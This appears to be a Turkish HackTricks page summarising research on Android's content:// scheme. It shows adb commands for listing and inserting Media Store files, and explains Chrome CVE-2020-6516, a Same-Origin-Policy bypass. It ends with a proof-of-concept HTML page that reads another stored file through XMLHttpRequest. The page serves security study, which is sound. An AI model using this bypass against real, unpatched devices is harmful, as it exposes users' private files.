content:// protocol

HackTricks'i Destekleyin

Bu, https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/ gönderisinin bir özetidir.

Medya Mağazasında Dosyaları Listeleme

Medya Mağazası tarafından yönetilen dosyaları listelemek için aşağıdaki komut kullanılabilir:

$ content query --uri content://media/external/file

Daha insan dostu bir çıktı için, her indekslenmiş dosyanın yalnızca tanımlayıcısını ve yolunu gösterin:

$ content query --uri content://media/external/file --projection _id,_data

İçerik sağlayıcıları kendi özel ad alanlarında izole edilmiştir. Bir sağlayıcıya erişim, belirli bir content:// URI'sini gerektirir. Bir sağlayıcıya erişim yolları hakkında bilgi, uygulama manifestolarından veya Android çerçevesinin kaynak kodundan elde edilebilir.

Chrome'un İçerik Sağlayıcılara Erişimi

Android'deki Chrome, content:// şeması aracılığıyla içerik sağlayıcılara erişebilir ve bu sayede üçüncü taraf uygulamalar tarafından dışa aktarılan fotoğraflar veya belgeler gibi kaynaklara erişim sağlar. Bunu göstermek için, bir dosya Medya Deposu'na eklenebilir ve ardından Chrome aracılığıyla erişilebilir:

Medya Deposu'na özel bir giriş ekleyin:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Yeni eklenen dosyanın tanımlayıcısını keşfedin:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Dosya, dosyanın tanımlayıcısıyla oluşturulmuş bir URL kullanılarak Chrome'da görüntülenebilir.

Örneğin, belirli bir uygulama ile ilgili dosyaları listelemek için:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Same-Origin-Policy Bypass

Aynı Kaynak Politikası (SOP), tarayıcılarda farklı kaynaklardan gelen verilerle etkileşimi kısıtlayan bir güvenlik protokolüdür; bu etkileşim, yalnızca bir Cross-Origin-Resource-Sharing (CORS) politikası ile açıkça izin verilirse mümkündür. Bu politika, bilgi sızıntılarını ve çapraz site istek sahtekarlığını önlemeyi amaçlar. Chrome, content://'ı yerel bir şema olarak kabul eder ve bu da daha sıkı SOP kurallarını ifade eder; burada her yerel şema URL'si ayrı bir kaynak olarak değerlendirilir.

Ancak, CVE-2020-6516, content:// URL'si aracılığıyla yüklenen kaynaklar için SOP kurallarının aşılmasına izin veren bir Chrome zafiyetiydi. Sonuç olarak, content:// URL'sinden gelen JavaScript kodu, content:// URL'leri aracılığıyla yüklenen diğer kaynaklara erişebiliyordu; bu, özellikle Android 10'dan önceki sürümleri çalıştıran Android cihazlarda, kapsamlı depolamanın uygulanmadığı durumlarda önemli bir güvenlik endişesiydi.

Aşağıdaki kanıt konsepti, /sdcard altında yüklendikten sonra Medya Deposu'na eklenen bir HTML belgesinin, JavaScript'inde XMLHttpRequest kullanarak Medya Deposu'ndaki başka bir dosyanın içeriğine erişip görüntülediği bu zafiyeti göstermektedir ve SOP kurallarını aşmaktadır.

Proof-of-Concept HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
HackTricks'i Destekleyin

Last updated